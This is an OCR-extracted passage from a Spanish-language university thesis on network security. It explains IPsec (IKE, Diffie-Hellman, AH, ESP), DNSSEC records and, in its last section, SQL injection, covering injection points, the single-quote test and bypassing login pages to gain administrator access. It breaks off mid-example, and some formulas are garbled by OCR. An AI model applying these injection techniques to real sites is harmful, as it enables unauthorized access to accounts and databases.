gque en cada paquete se puede especificar los servicios de seguridad a usar y con qué
combinaciones, en qué tipo de comunicaciones usar una proteccion determinada y por
ultimo los algoritmos de seguridad utilizados. Otro punto importante es que debido a que
estos servicios de seguridad son valores secretos compartidos (claves), IPsec confia en

una serie de mecanismos para concretar este tipo de claves (IKE, SA).

6.7.2 INTERNET KEY EXCHANGE (IKE).

El Protocolo de Internet Key Exchange (IKE) ofrece un medio para negociar
automaticamente los pardmetros de seguridad y obtener el material clave adecuada. IKE
es un protocolo hibrido basado en dos protocolos de seguridad subyacentes, el Internet
Security Association y el Protocolo de administracion de claves (ISAKMP) y el Protocolo
de Determinacion de Claves Okley (OAKLEY).

Su funcionamiento basico de IKE se puede dividir en dos fases:
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» Fase 1. Esta fase se utiliza para negociar los parametros y los materiales clave
necesarios para establecer una SA ISAKMP. Las identidades de otros usuarios y
credenciales se verifican también. EI SA ISAKMP se utiliza entonces para proteger
los intercambios futuros IKE.

» Fase 2: Esta fase se utiliza para negociar los pardmetros y el material clave necesario
para establecer cualquier nimero de s IPSEC SA. La SA IPsec se utiliza entonces
para proteger cualquier trafico de red que puede requerir procesamiento de
seguridad.

6.7.3 ASOCIACION DE SEGURIDAD (SA).

Para suministrar confidencialidad en las comunicaciones es imprescindible el uso de
claves, estas claves deben ser conocidas tanto por el emisor como por el receptor por
tanto el emisor y el receptor deben decirse que clave usaran antes de empezar la
comunicacion y deben acordar que nivel de seguridad que quieren y que algoritmos
utilizaran. Una SA es una relacién entre dos o0 mas usuarios que describe como estos

usuarios van a utilizar los servicios de seguridad para comunicarse entre ellos.

6.7.4 OAKLEY.

Es un protocolo de determinaciéon de claves que utiliza el algoritmo de intercambio de
claves Diffie-Hellman. Oakley da soporte a la Confidencialidad perfecta de retransmision
(PFS) que asegura que si una sola clave se compromete, solo permite el acceso a los
datos protegidos por esa clave. Nunca reutiliza la clave que protege las comunicaciones
para calcular claves adicionales y nunca usa el material original de generacion de claves

para calcular otra clave.
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6.7.5 ALGORITMO DE DIFFIE HELMAN.

Supongamos que dos usuarios Ay B pretenden intercambiar una clave, primeramente los
dos extremos acuerdan un numero primo grande Q y una raiz primitiva de Q, la cual se
llama a. A escoge un numero aleatorio X,; que sera su clave privada y calcula su clave
prima como Y =a™* mod q. Analogamente B calcula su clave publica como Yg =a*® mod
g. Una vez que ambos extremos han calculado sus claves publicas se las intercambian en

este momento ambos son capaces de calcular la clave secreta de sesion:

K= (Yg)** mod g = (Ya)*® mod q = «“**®* mod q.
Existen dos caracteristicas que hacen interesante este algoritmo:
» Las claves secretas se crean solo cuando son requeridas de esta forma no es
necesario almacenarlas, evitando el riesgo de tener que almacenarlas exponiéndolas
a un posible ataque.
» El intercambio de claves solo requiere un acuerdo sobre los pardmetros globales no

es necesaria una infraestructura preexistente.

Sin embargo Diffie Hellman tiene ciertas debilidades:

= No proporciona informacion sobre la identidad de los extremos.

= Esta expuesto a un ataque por interceptacion (Man in the middle) en el que un
atacante suplanta a B mientras se comunica con A y suplanta con A mientras se
comunica con B.

= Requiere un nimero elevado de calculos, esto hace que el algoritmo sea vulnerable a
un ataque de obstruccion. Este acate consiste en que un oponente solicita un elevado
namero de claves haciendo que la victima consuma considerablemente recursos y

quede bloqueada.

6.7.6 FORMA DE TRABAJO DE IPSEC.

IPsec utiliza dos protocolos para proporcionar seguridad al trafico: la cabecera de

autentificacion (AH) y la carga de seguridad encapsulada (ESP).
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» La cabecera de autenticacion (AH): Proporciona integridad sin conexion,
autenticacion del origen de datos y un servicio opcional de proteccion anti replay.

= La carga de seguridad encapsulada (ESP): Puede proporcionar confidencialidad
(encriptacion), y confidencialidad limitada de flujo de trafico, también puede
proporcionar integridad sin conexion, autentificacion del origen de datos y un servicio
de proteccion anti replay.

= AH y ESP son instrumentos para el control de acceso, basados en la distribucion de
claves criptogréaficas y en el manejo de flujo de trafico concerniente a estos protocolos
de seguridad.

6.7.7 AH.

El protocolo AH es el procedimiento previsto dentro de IPsec para garantizar la integridad
y autenticacion de los datagramas IP. Esto proporciona un medio al receptor de los
paquetes IP para autenticar el origen de los datos y para verificar que dichos datos no han
sido alterados en transito. Sin embargo no proporciona ninguna garantia de
confidencialidad, es decir los datos transmitidos pueden ser vistos por terceros. AH es una
cabecera de autenticacion que se inserta entre la cabecera IP estandar (tanto IPv4 como
IPv6) y los datos transportados, que pueden ser un mensaje TCP, UDP o ICMP, o incluso

un datagrama IP completo.

El funcionamiento de AH se basa en un algoritmo HMAC, esto es, un cddigo de
autenticacion de mensajes. Este algoritmo consiste en aplicar una funcién hash a la
combinacién de unos datos de entrada y una clave, siendo la salida una pequefia cadena
de caracteres que denominamos extracto. Dicho extracto tiene la propiedad de que es
como una huella personal asociada a los datos y a la persona que lo ha generado, puesto
gue es la unica que conoce la clave. Protocolo AH, podemos concluir que su seguridad
reside en que el calculo del extracto (MAC) es imposible sin conocer la clave y que dicha

clave sélo la conocen el emisor y el receptor.
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6.7.8 ESP.

El objetivo principal del protocolo ESP (Encapsulating Security Payload) es proporcionar
confidencialidad, para ello especifica el modo de cifrar los datos que se desean enviar y
cdmo este contenido cifrado se incluye en un datagrama IP. Adicionalmente, puede
ofrecer los servicios de integridad y autenticacion del origen de los datos incorporando un
mecanismo similar al de AH. ESP proporciona mas funciones que AH, el formato de la
cabecera es mas complejo; este formato consta de una cabecera y una cola que rodean
los datos transportados. La funcién de cifrado dentro del protocolo ESP es desempefiada
por un algoritmo de cifrado de clave simétrica. Usan algoritmos de cifrado bloque, de
modo que la longitud de los datos a cifrar tiene que ser un multiplo del tamafio de bloque
(8 0 16 byte, en la mayoria de los casos). Por esta razén existe un campo de relleno, el
cual tiene una funcién adicional ya que es posible afiadir caracteres de relleno al campo

de datos para ocultar asi su longitud real y por tanto las caracteristicas del trafico.

La distribucion de claves de forma segura es por consiguiente un requisito esencial para
el funcionamiento de ESP y también de AH, asi mismo, es fundamental que el emisor y el
receptor estén de acuerdo tanto en el algoritmo descifrado o de hash y como en el resto

de parametros comunes que la utilizan.

Ejemplo de Protocolo IPSEC.

AH: Es una cabecera de autenticacion que se inserta entre la cabecera IP estandar (tanto
IPv4 como IPv6) y los datos transportados, que pueden ser un mensaje TCP, UDP o
ICMP, o incluso un datagrama IP completo. AH es realmente un protocolo IP nuevo y
como tal el IANA le ha asignado el niumero decimal 51, esto significa que el campo
Protocolo de la cabecera IP contiene el valor 51, en lugar de los valores 6 o 17 que se
asocian a TCP y UDP respectivamente. Es importante destacar que AH asegura la

integridad y autenticidad de los datos transportados y de la cabecera IP.

Este es la estructura de un datagrama AH.
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llustracion 23: Datagrama AH.

El siguiente escenario se muestra el modo en que funciona el protocolo AH, el emisor
calcula un extracto del mensaje original, el cual se copia en uno de los campos de la
cabecera AH. El paquete construido se envia a través de la red, repitiéndose en el
extremo receptor y comparandolo con el recibido en el paquete. Si son iguales, el receptor
tiene la seguridad de que el paquete IP no ha sido modificado en transito y que procede
efectivamente del origen esperado. En el protocolo AH su seguridad reside en que el
célculo del extracto (MAC) es imposible sin conocer la clave y que dicha sélo la conocen

el emisor y el receptor.
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llustracion 24: Manera de trabajar del protocolo AH.

Unan-Leén Pagina 93




Marco Teorico.

ESP: El objetivo principal del protocolo ESP (Encapsulating Security Payload) es
proporcionar confidencialidad, para ello especifica el modo de cifrar los datos que se
desean enviar y este contenido cifrado se incluye en un datagrama IP.

La siguiente figura se muestra la estructura de un datagrama ESP, en la que se observa
cémo el contenido o carga util viaja cifrada.

e dm FHLEN TOS Longitud Total
Identificacian Flag= Oifset
TTL Protocolo=50 Checksum (=

Direccion IP Origen

Diireccion IP Destino

e

Security Parameters Index (SP1)

Muamero de secuencia

i

TCP

Autenticado
EsP

Clfada. ..

Datos de aplicacion

| _Belleno [0-255 byte) | Longitud de rellenc | Mt Header |

asnssa

Camipo de autenticacion

llustracion 25: Datagrama EP.

El siguiente escenario representa como el protocolo ESP permite enviar datos de forma
confidencial. El emisor toma el mensaje original, lo cifra utilizando una clave determinada,
y lo incluye en un paquete IP, a continuacion de la cabecera ESP. Durante el transito
hasta su destino, si el paquete es interceptado por un tercero sélo obtendra un conjunto
de bit ininteligible. En el destino, el receptor aplica de nuevo el algoritmo descifrado con la
misma clave, recuperando los datos orinales. Esta claro que la seguridad de este
protocolo reside en lo duro del algoritmo de cifrado, es decir que un atacante no puede
descifrar los datos sin conocer la clave, asi la clave ESP Unicamente la conocen el emisor

y el receptor.
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llustracion 26: Manera de trabajar protocolo ESP.

El siguiente escenario representa de forma esquematica el funcionamiento del protocolo
IKE y el modo en que se obtiene una clave de sesién, que es la que se utiliza para

proteger las conexiones ESP o AH.

Ernisor - - Receptor
LDES, |3DES e
1

AADIS, SHAT,
OH1) Megociackin de algoritrmos criptograficos DHZ)
B
Intercambio de claves Diffie-Hellman
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\ N
e
Negociaciin SA IPSec
gt

Clawe
i E5F o AH

llustracion 27: Manera de trabajar del protocolo IKE.

El siguiente escenario muestra los dos modos de funcionamiento del protocolo IPsec,
donde: en la Figura 62 se representan dos hosts que entienden IPsec y que se comunican
de forma segura, esta comunicacion se realiza en modo transporte, por tanto la
informacion que se protege es Unicamente el protocolo TCP o UDP, asi como los datos de
aplicacién y En la Figura 6° se muestran dos redes que utilizan para conectarse dos
gateways IPsec y por tanto, emplean una implementacién en modo tunel. Se puede ver
gue la comunicacion se realiza a través de una red de datos publica, entre un PC situado

en una red local con otro PC situado en una red local remota, de modo que entre los
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gateways |Psec se establece un tanel a través del cual viajan protegidas las
comunicaciones entre ambas redes locales. Sin embargo ambos PC envian y reciben el
trafico, como si estuviesen situados en la misma red local. Este esquema tiene la ventaja
de que los nodos situados en redes separadas pueden comunicarse de forma segura y
transparente, concentrandose al mismo tiempo las funciones de seguridad en un Unico

punto facilitando asi las labores de administracion.

HOST con IPSec HOST con IPSec
Emisor Comunicacién Receptor
Segura
INTERNET
Figura 62. Modo transporte - csssssssases »
IP, IP; ESP TCP Datos
PQY PC2
Paquete IPSec Modo Transporte
HOST sin IPSec  Gateway ﬁatewgy HOST sin IPSec
Emisor IPSecA Receptor
) INTERNET - J
Figura 6b. Modo tunel 1 < e O
IPy IPg ESP IPy IP; TCP Datos
PGy PC2

Paquete IPSec Modo Tunel

Comunicacién
en claro

llustracion 28: Manera de trabajar del protocolo IKE.

6.7.9 MODO TRANSPORTE Y MODO TUNEL.

El Modo Transporte: En este modo el contenido transportado dentro del datagrama AH o
ESP son datos de la capa de transporte (por ejemplo, datos TCP o UDP), por tanto la
cabecera IPsec se inserta inmediatamente a continuacion de la cabecera IP y antes de los
datos de los niveles superiores que se desean proteger. El modo transporte tiene la
ventaja de que asegura la comunicacion extremo a extremo, pero requiere que ambos

extremos entiendan el protocolo IPsec.

Es decir que en modo transporte, sblo la carga util del paquete IP es cifrada o
autenticada, el enrutamiento permanece intacto ya que no se modifica ni se cifra la
cabecera IP; sin embargo cuando se utiliza la cabecera de autenticaciéon (AH), las
direcciones IP no pueden ser traducidas ya que eso invalidaria el hash. Las capas de

transporte y aplicacion estan siempre aseguradas por un hash, de forma que no pueden
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ser modificadas de ninguna manera y es utilizado para comunicaciones de ordenador a

ordenador.

El modo Tunel: En éste el contenido del datagrama AH o ESP es un datagrama IP
completo, incluida la cabecera IP original. Asi se toma un datagrama IP al cual se afiade
inicialmente una cabecera AH o ESP, posteriormente se afiade una nueva cabecera IP
que es la que se utiliza para encaminar los paquetes a través de la red. El modo tanel se
usa normalmente cuando el destino final de los datos no coincide con el dispositivo que
realiza las funciones IPsec. El modo tlinel es empleado principalmente por los Gateway
IPsec, con objeto de identificar la red que protegen bajo una misma direccion IP y
centralizar de este modo el procesado del trafico IPsec en un equipo. El modo tunel
también es (til, cuando se utiliza junto con ESP, para ocultar la identidad de los nodos

que se estan comunicando.

6.8 DNSSEC.

Las vulnerabilidades detectadas recientemente en el DNS, junto con los avances
tecnolégicos, han reducido en gran medida el tiempo que necesita un atacante para forzar
cualquier paso del proceso de busqueda del DNS y por lo tanto, tomar el control de una
sesién y esto es debido a que se han detectado vulnerabilidades en el DNS que permiten
que un atacante fuerce el proceso de buscar una persona o buscar un sitio en Internet
utilizando su nombre. El objetivo del ataque es tomar el control de la sesion para enviar al
usuario al sitio web fraudulento del atacante, con el fin de obtener los datos de la cuenta y
la contrasefia. La Unica solucion a largo plazo para esta vulnerabilidad es la
implementacion integral de un protocolo de seguridad denominado Extensiones de
seguridad del DNS, o DNSSEC.

6.8.1 DOMAIN NAME SYSTEM SECURITY EXTENSION.

Las Extensiones de seguridad para el Sistema de Nombres de Dominio es un

conjunto de especificaciones de la Internet Engineering Task Force (IETF) para asegurar
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cierto tipo de informacion proporcionada por el sistema de nombre de dominio (DNS) que
se usa en el protocolo de Internet (IP). Se trata de un conjunto de extensiones al DNS que
proporcionan a los clientes DNS (o resolvers) la autenticacion del origen de datos DNS, la
negacion autenticada de la existencia e integridad de datos. El disefio original del Domain
Name System (DNS) no incluia la seguridad, sino que fue disefiado para ser un sistema
distribuido escalable. Las Extensiones de seguridad para el Sistema de Nombres de
Dominio (DNSSEC) intentan aumentar la seguridad y al mismo tiempo mantener la
compatibilidad con lo méas antiguo.

DNSSEC fue disefiado para proteger a los resolvers de Internet (clientes) de datos de
DNS falsificados, tales como la creados por envenenamiento de caché DNS, todas las
respuestas en DNSSEC son firmadas digitalmente. Al comprobar la firma digital, el
resolver es capaz de comprobar si la informacion es la informacién en el servidor DNS
autorizado. Si bien la proteccion de las direcciones IP es la preocupacion inmediata para
muchos usuarios, DNSSEC puede proteger otra informacién también, como certificados
de cifrado de propésito general almacenado en registro CERTSs en el DNS.

6.8.2 DESVENTAJA DE DNSSEC.

DNSSEC no garantiza la confidencialidad de los datos, en particular todas las respuestas
de DNSSEC se autentican, pero no se encripta. DNSSEC no protege directamente contra
los Ataques de denegacion de servicio y no puede proteger contra las falsas

suposiciones, sino que soélo puede autenticar que los datos son verdaderos.

Se cree ampliamente que asegurar los DNS es de vital importancia para la seguridad en
Internet como un todo, pero el despliegue de DNSSEC en concreto se ha visto

obstaculizado por varias dificultades:

» La necesidad de disefiar un estdndar compatible con versiones anteriores que puede
escalarse al tamafio de la Internet.

» Prevencion de la "enumeracion de la zona" donde se desee.

= El despliegue de las implementaciones DNSSEC en una amplia variedad de

servidores de DNS y resovers (clientes).
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» El desacuerdo entre los encargados de la ejecucion sobre quién debe poseer las
llaves de raiz de los dominios de nivel superior.

» La superacién de la aparente complejidad de DNSSEC y su despliegue.

6.8.3 REGISTRO DNSSEC.

DNSSEC introduce cuatro registros de recursos adicionales para poder procesarla
informacién de seguridad implementada en la extension DNSSEC, estos registros de
recursos son: DNSKEY, RRSIG, NSEC, DS.

6.8.4 DNSKEY.

Cada zona DNSSEC tiene un par de claves privada y publica asociadas, generadas por el
administrador de la zona y serd almacenada con seguridad y en un lugar protegido por el
administrador de la zona. La clave publica asociada a la zona se publica en el archivo de

zona como un registro de recursos DNSKEY.

Un ejemplo de un registro DNSKEY para la zona es:

Uclm.net. 86400 IN DNSKEY 256 3 5

(AQPSKmynfzW4kyBv015MUG2DelQ3Cbl+BBZH4b/0PY 1kxkmvHjcZc8nokfzj31GajlQKY
+5CptLr3buXA10hWqTkF7H6RfoRgXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL
742iU/TpPSEDhm2SNKLijfUppnlUaNvv4w==

El (TTL) es de 1 dia (86,400 segundos) y el valor de 256 indica que se trata de una zona
que contiene una clave, el valor del protocolo es 3. El siguiente campo es el algoritmo de
clave publica, 5 indica RSA/SHA 1. El valor del RR es la codificacion en Base64 del valor

de clave publica.

6.8.5 RRSIG.

Un conjunto de registros de recursos (RRset) es una coleccion de registros de recursos
en una zona DNS que comparten un nombre comun, clase y tipo. En DNSSEC los

RRsets son firmados por el administrador de la zona, esta firma se genera mediante la
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generacion de un hash de la Reset y después cifrando el hash con la clave privada del
administrador de la zona. Para una zona que contiene SOA, NS, A, MX vy registros de
recursos DNSKEY, hay como minimo cinco RR sets distintos y cada RR set tendria su

propio registro de recursos RRSIG.

Un ejemplo de registro RRSIG para la zona uclm.net

host.uclm.net. 86400 IN RRSIG A 5 3 86400 20101122173103 (20101020173103 2642
uclm.net.0JBIWEWNGV+IdvQ3WDGOMQkKg5IEhjRip8WTrPYGv07h108dUK

GMeDPKijVCHX3DDKdfb+v60B9wfuh3DTJIXUAfI/MOzmO/zz8bWORznI8O3tGNazPwQKKk
RN20XPXVenwwfoXmJQbsLNrLfkGJ5D6fwFmM8nN+6pBzeDQfsS3Ap30=)

Los primeros cuatro campos especifican el nombre del propietario, TTL, clase y tipo RR
(RRSIG). El siguiente campo es el tipo y tiene el valor "A" que indica que se trata de una
firma de los RR A para "host.uclm.net". El siguiente campo es el algoritmo de firma y el
valor de 5 indica que se trata de RSA/SHA 1. El valor 3 es el nUmero de etiquetas en el
nombre del propietario. El valor de 86,400 en el RRSIG RDATA es el valor original TTL
del RRset. 20030322173103 y 20030220173103 son las fechas de vencimiento y
creacion, lo que indica que la firma RRset fue cread a el 20/10/2010 17:31:03, y la firma
expira a 22/11/2010 17:31:03. La etiqueta con clave 2642 es el nombre del firmante es

"uclm.net". El resto del valor del RR es el hash cifrado del RRset.

6.8.6 NSEC.

El DNSKEY YV los registros RRSIG se pueden utilizar para comprobar la autenticidad de
una respuesta DNS, pero donde no haya datos autorizados en la respuesta, la
autenticacion requiere informacion adicional. El archivo de toda la zona se ordena en una
forma candnica y el RR NSEC se afiade para incrementar la firma en la zona. El registro
NSEC define el conjunto de los tipos de RR para el nombre de dominio entero y en
respuesta a una consulta, si el nombre no existe en el archivo de zona, o no existe el tipo
RR para el nombre en cuestion, el registro NSEC es devuelto como prueba autenticada

de que el nombre, o el tipo de RR no existe.
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Un ejemplo de registro NSEC para la zona uclm.net:

alfa.uclm.net. 86400 IN NSEC host.uclm.net. (A MX RRSIG NSEC TYPE1234)

Los primeros cuatro campos especifican el nhombre, TTL, clase y tipo RR (NSEC), La
entrada host.uclm.net es el nombre de la siguiente autoridad después de alfa.uclm.net.
Los nemotécnicos A, MX, RRSIG, NSEC, y TYPE 1234 indican que son registros RRsets
(A, MX, RRSIG, NSEC, y TYPE 1234) asociados con el nombre alfa.ucim.net. Los
registros NSEC se pueden utilizar para enumerar el contenido completo de un archivo de

zona, mientras que los datos DNS son ofrecidos como informacion publica.

6.8.7 DS.

La validacién de la clave publica de la zona sigue sin abordarse con los tres primeros
tipos de registros de recursos. Un atacante simplemente tendria que suministrar el
DNSKEY vy los datos RRSIG para que hacer coincidir con los datos RR set falsos con el
fin de hacer que la respuesta parezca "auténtica”. La Delegacion Firmante (DS) RR
contiene el hash de la clave publica de la zona secundaria, esta entrada es firmada por la
clave privada de la zona principal con RRSIG, pero para validar una zona DNSKEY, el DS
asociado, RRSIG (DS) y DNSKEY de la zona principal debe ser recuperado. El registro
DS se valida mediante el DNSKEY para cifrar el registro RRSIG (DS) y luego comprobar
gue el resultado coincide con el registro DS. Esta es la clave publica de la zona, que
puede ser comparada con el registro DNSKEY de la zona en cuestién. El proceso de
validacion se detiene cuando el cliente DNSSEC se encuentra con una clave "de
confianza". La clave de confianza ideal seria el DNSKEY de la zona root, pero en
ausencia de dicha clave de confianza, cada cliente DNSSEC tiene que configurar su
sistema de validacion de confianza con los dominios de confianza en los que no existe

una validacion de un dominio superior.

Un ejemplo de registro DS para la zona uclm.net

dskey.uclm.net. 86400 IN DS 604855 1
(2BB183AF5F22588179A53B0A98631FAD1A292118)
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Los primeros cuatro campos de texto especifican el nombre, TTL, clase y tipo RR (DS).
Valor 60485 es la clave para "dskey.uclm.net". EI RRDNSKEY vy el valor 5 indican el
algoritmo utilizado por "dskey.uclm.net" RR DNSKEY. El valor 1 es el algoritmo utilizado
para la construccion del resumen y el resto del texto RDATA es el resumen en formato

hexadecimal.

6.8.8 FUNCIONAMIENTO DE DNSSEC.

DNSSEC utiliza criptografia asimétrica de clave publica de tal manera que la autoridad de
lo que se firma con una clave se puede comprobar con la otra, es decir que va a existir
una clave publica por cada dominio que se distribuyen y se publican utilizando DNS en la
zona del dominio asegurado. Los registros son autenticados comprobando las firmas
digitales con las claves publicas distribuidas, pero para que el sistema sea confiable es
necesario que la clave privada se custodie adecuadamente puesto que si esta se ve
comprometida un atacante puede utilizarlo para falsificar los datos del dominio.

DNSSEC consigue la seguridad haciendo uso de tecnologias de criptografia de clave
publica (RSA, DSA, GOST), con las cuales se generan firmas para los distintos elementos
de la respuesta de DNS. Estas firmas pueden ser verificadas en los servidores de DNS de
los proveedores de Internet o de las organizaciones, con el fin de comprobar que la
informacioén no se ha visto alterada respeto a lo que el administrador del dominio DNS
hizo publico. El servidor que lleva a cabo la verificacion, puede obtener las claves publicas
que se utilizan en el proceso de firma preguntando a la propia zona de DNS. Cada
dominio deberia estar enlazado a su zona superior (por ejemplo org para isc.org)
utilizando un nuevo tipo de registro DNS denominado DS (Delegation signer, firmante de
la delegacion), mediante el cual el dominio superior identifica y firma la clave para una

zona inmediatamente inferior.

6.8.9 FIRMA DE RAIZ.

Al firmar la raiz mediante la DNSSEC, se agregan algunos registros mas por dominio de

primer nivel al archivo de la zona raiz, lo que se agrega es una clave y una firma que
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certifican la validez de tal clave. La DNSSEC ofrece una ruta de validacion para los
registros, no cifra ni modifica la administracion de los datos y es compatible con versiones
anteriores del DNS y las aplicaciones actuales. En otras palabras no modifica los

protocolos actuales sobre los que se basa el sistema de direcciones de Internet.

Incorpora una cadena de firmas digitales en la jerarquia del DNS, donde cada nivel posee

su propia firma para generar claves, esto significa que para un nombre de dominio como

www.icann.org , cada organizacion de la cadena debe firmar la clave de la organizacion
inmediatamente inferior. Por ejemplo, .org firma la clave de icann.org y la raiz firma la
clave de .org. Durante la validacion, la DNSSEC sigue esta cadena de confianza hasta la
raiz automaticamente y valida las claves “secundarias” con las claves “principales” en el
recorrido. Dado que la validacién de cada clave puede estar a cargo del nivel superior, la
Unica clave necesaria para validar el nombre de dominio completo seria la clave principal
superior o la clave raiz. Esta jerarquia significa sin embargo que incluso con la firma en el
nivel raiz la implementacién completa del DNSSEC en todos los nombres de dominio sera
un proceso largo, ya que cada nivel inferior también debe estar firmado por los

operadores respectivos para completar una cadena de confianza en particular.

6.8.10 CLAVE KSK Y ZSK.

Con el fin de permitir la sustitucion de claves, se requiere un esquema de despliegue de
clave, esto implica en primer lugar el despliegue de nuevas llaves en nuevos registros
DNSKEY, ademas de las llaves antiguas existentes. Cuando es seguro asumir que los
valores del tiempo de vida han hecho que las claves antiguas almacenadas en caché han
expirado, se puede utilizar estas nuevas claves y cuando es seguro asumir que los
registros almacenados en caché utilizando las claves viejas han expirado, los viejos
registros DNSKEY se pueden eliminar. Este proceso es mas complicado por ejemplo en:
las claves para confiar en los anclajes, como en la raiz, los que pueden requerir una
actualizacion del sistema operativo. Las claves en los registros DNSKEY se puede utilizar
para dos cosas diferentes y los normalmente se utilizan diferentes registros para cada
uno. En primer lugar, son las claves DNSKEY de firma de clave (KSK), que se utilizan
para firmar los registros de otros DNSKEY y en segundo lugar estan las claves de firma

de la zona (ZSK) que se utilizan para firmar los registros de otros.
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La sigla KSK corresponde a clave de firma de clave (una clave de términos larga) y la

sigla ZSK corresponde a clave de firma de zona (una clave de términos corta). Con
tiempo y datos suficientes, las claves criptograficas eventualmente pueden verse
amenazadas, en el caso de la criptografia de clave publica o asimétrica utilizada en la
tecnologia DNSSEC, esto significa que el atacante determina a través de ataques por
fuerza bruta u otros métodos, la mitad privada del par de claves publica y privadas, lo que

le permite vencer las defensas que interpone la tecnologia DNSSEC.

DNSSEC obstaculiza estos intentos de amenaza mediante una clave de términos corta, la
clave de firma de zona (ZSK) para computar en forma rutinarias de las firmas de los
registros del DNS y una clave de términos larga, la clave de firma (KSK) para calcular una
firma en la ZSK para permitir la validacion. La clave ZSK se cambia o renueva con
frecuencia para que el atacante tenga mayor dificultad a la hora de “suponer”, mientras
que la clave KSK mas larga se cambia a intervalos mucho mas largos. Puesto que la KSK
firma la ZSK y la ZSK firma los registros del DNS, s6lo se requiere la clave de KSK para

validar un registro del DNS en la zona.

Es un modelo de la KSK, en la forma de un registro de Firmante de delegacién que se
transmite a la zona “principal”. La zona principal (por ej., la raiz) firma el registro de DS del
secundario (por e€j., .org) con su propia ZSK que a su vez recibe la firma de su KSK
propia. Esto significa que si la tecnologia DNSSEC se adopta en su totalidad, la clave
KSK para la zona raiz formaria parte de la cadena de validacién de cada nombre de
dominio validado por DNSSEC.

6.9 INYECCIONES SQL.

El lenguaje de consulta estructurado o SQL es un lenguaje declarativo de acceso a bases
de datos relacionales que permite especificar diversos tipos de operaciones en ellas, una
de sus caracteristicas es el manejo del algebra y el calculo relacional que permiten
efectuar consultas con el fin de recuperar de forma sencilla informacion de interés de

bases de datos, asi como hacer cambios en ella.
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Inyeccion SQL es el tipo de vulnerabilidad, al método de infiltracion, al hecho de incrustar
codigo SQL intruso y a la porcién de codigo incrustado, se dice que existe 0 se produjo
una inyeccion SQL cuando, de alguna manera se inserta o "inyecta" codigo SQL invasor
dentro del cédigo SQL programado, a fin de alterar el funcionamiento normal del
programa y lograr asi que se ejecute la porcién de cddigo "invasor" incrustado en la base
de datos. Este tipo de intrusion normalmente es de caracter malicioso, dafiino o espia por
tanto es un problema de seguridad informatica y debe ser tomado en cuenta por el
programador de la aplicacion para poder prevenirlo. Un programa elaborado con descuido
displicencia o con ignorancia del problema, podra resultar ser vulnerable y la seguridad

del sistema (base de datos) podra quedar eventualmente comprometida.

6.9.1 INYECCIONES DE CODIGO SQL.

Los ataques de cAdigo SQL inyectado son exitosos porque muchas aplicaciones no estan
programadas con buenas practicas de seguridad, uno de los problemas radica en el
hecho de que a la hora de desarrollar una aplicacion, dedicar tiempo a la seguridad no
suele se prioridad frente a proporcionar funcionalidad a la aplicacién. Las pruebas que se
realizan encima de la aplicacion reflejan escenarios de funcionalidad y rendimiento pero

no se orienta a encontrar fallas de seguridad.

La gran ventaja de un ataque SQL inyectado frente a otros es que se puede inicialmente
disponer de un conocimiento no profundo de los gestores de base de datos y aun asi
obtener resultados sorprendente sin la intermediacion de exploit o herramientas que
suelen ser bastantes agresivas contra los sistemas o servicios. La parte que mas va a
costar es conocer donde se deben inyectar las sentencias SQL para atacar la plataforma.
Habra que identificar los campos que afectan parametros que forman parte de la algunas
sentencia SQL que la aplicacion utilice para interactuar con el gestor de base de datos
como posibles puntos de inyeccion se puede tener en cuenta:
= En las aplicaciones web los campos de tipo input, textarea y hidden. Los ejemplos
mas comunes son formularios de registros, el campo para buscar o paginas de inicio

se sesion.
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» |dentificando los parametros que se pasan mediantes el método GET como los
parametros pasados mediante método POST.

» |dentificando los parametros guardados en el cédigo HTML que se puede guardar y
abrir como fichero de texto.

= En los paquetes transmitidos y capturados que luego pueden ser alterados para

realizar peticiones subversivas al servidor.

La mayor parte de esta funcionalidad terminara armando una consulta que serd pasada
como argumento a una base de datos operando en background la cual sera la encargada
de extraer los datos correctos y presentar al usuario final el resultado de la misma, por
ejemplo:

<FORM action=login/logon.asp method=post>

<input type=hidden username=_User Name password= _Password>

</FORM>

Este fragmento de Cddigo basicamente postea los datos ingresados a una pagina ASP
para que la misma resuelva la consulta, interactuando con la base de datos, en definitiva
es muy probable que al final del camino nuestro ingreso se haya convertido en algo asi:

Selec * from users where username = _username and password = _Password.

Es decir que si de alguna forma se pudiera interrumpir la consulta original e inyectar el
codigo de nuestra eleccién y asi hacer que la base de datos procese esta secuencia,

estaremos en presencia de un ataque de inyeccién de SQL.

La * (Comilla Simple), es interpretada por Microsoft SQL Server como identificador o
terminador de caracteres el punto es que una comilla simple adicional provocara que la
sentencia a ejecutar se encuentre malformada sintacticamente lo que conllevara a un
error el cual sera un primer indicio de que la aplicacion en cuestion es susceptible a un
ataque de inyeccion SQL. El efecto de la utilizacién de la comilla simple como elemento
de testing en las aplicaciones web, deberia presentar los resultados diferentes de acuerdo

a varios factores relacionados a la implementacion del sitio general.

Unan-Leén Pagina 106




Marco Teorico.

De la misma forma los resultados cambiaran de acuerdo al TIPO de campo en que se
esta queriendo realizar la inyeccion, por ejemplo los campos nameros probablemente no
haga falta incluir una comilla simple para lograr que se ejecute con éxito el cddigo
inyectado, SQL server en la mayoria de los casos, solo seguiran con la ejecucion de la

proxima sentencia es decir la inyectada.

6.9.2 ACCESO A SITIO WEB RESTRINGIDOS.

Una de las virtudes de las técnicas de las inyeccién SQL es la facilidad con la que se
puede lograr acceso a aquellos sitios que implementan paginas de control de acceso en
HTML, ASP, las cuales a su vez requieren a posterior una conexion a un SQL server. En
los Ultimos tiempos se encuentran una gran cantidad de sitios vulnerables en el nivel de
compromiso, si bien en algunos de los casos el acceso obtenido de esta forma no brinda
control total de host, en todos los casos es suficiente para husmear la cuenta o inclusive

para pasar automaticamente a convertirnos en administradores del sitio web.

La mayoria de los casos las implementaciones de autenticacion codificadas en la web en
formato HTML o ASP, no difieren mucho ya que siempre se ingresa Usuario y Password
solicitado y serd introducido generalmente por una pagina .ASP quien elabora la consulta

y la enviara al SQL.

Veamos un ejemplo concreto:

---- EXtracto ------------mmmmm oo <FORM action=ingreso.asp method=post>
<TABLE cellSpacing=1 cellPadding=3 width=440

<bgColor=#ffffff border=0>

<TBODY>

<TR bgColor=#{f0066>

<TD><B><FONT face="Arial, Helvetica, sans-serif"
<size=2>Nombre</FONT></B></TD>

<TD><B><FONT face="Arial, Helvetica, sans-serif"
<size=2>Clave</FONT></B></TD></TR>

<TR bgColor=#ffcccc>
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<TD><INPUT name=USERNAME></TD>

<TD><INPUT type=password value="" name=PASSWORD>
</TD></TR>

<TR align=middle bgColor=#ff0066>

<TD colSpan=2><INPUT type=submit value=INGRESAR!
<name=SUBMIT>
